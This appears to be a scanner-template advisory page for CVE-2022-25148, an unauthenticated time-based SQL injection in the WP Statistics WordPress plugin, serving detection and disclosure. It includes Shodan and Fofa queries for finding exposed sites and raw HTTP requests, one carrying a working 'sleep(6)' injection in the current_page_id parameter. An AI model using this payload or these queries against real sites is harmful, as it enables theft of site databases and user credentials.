| Title | WordPress Plugin WP Statistics <= 13.1.5 - SQL Injection |
|---|---|
| Author | theamanrawat |
| Severity | Critical |
| Impact | Unauthenticated attackers can execute time-based SQL injection through the current_page_id parameter to extract the complete WordPress database including user credentials, visitor statistics, and site analytics data. |
| Remediation | Update wp-statistics plugin to version 13.1.6, or newer. |
| CVSS Score | 9.8 |
| EPSS Score | 0.48461 |
| CVE ID | CVE-2022-25148 |
| CWE ID | CWE-89 |
| Shodan Query | http.html:/wp-content/plugins/wp-statistics/ |
| Fofa Query | body=/wp-content/plugins/wp-statistics/ |
| Tags | time-based-sqli cve cve2022 packetstorm sqli wpscan wordpress wp-plugin wp wp-statistics veronalabs vuln |
The WP Statistics WordPress plugin is vulnerable to SQL Injection due to insufficient escaping and parameterization of the current_page_id parameter found in the ~/includes/class-wp-statistics-hits.php file which allows attackers without authentication to inject arbitrary SQL queries to obtain sensitive information, in versions up to and including 13.1.5.
GET / HTTP/1.1
Host: www.victim.com
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/51.0.2704.79 Safari/537.36 Edge/14.14393
Connection: close
Accept-Encoding: gzip
GET /wp-json/wp-statistics/v2/hit?_=11&_wpnonce=tPdpfp&wp_statistics_hit_rest&browser&platform&version&referred&ip=11.11.11.11&exclusion_match=no&exclusion_reason&ua=Something&track_all=1×tamp=11¤t_page_type=home¤t_page_id=sleep(6)&search_query&page_uri=/&user_id=0 HTTP/1.1
Host: www.victim.com
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/17.4.1 Safari/605.1.22
Connection: close
Accept-Encoding: gzip
🔗 Nuclei Template: https://github.com/packetinside/nuclei-templates/blob/main/http/cves/2022/CVE-2022-25148.yaml
🦈 Packet Capture: ⬇️ Download cve-2022-25148.pcap
N/AN/A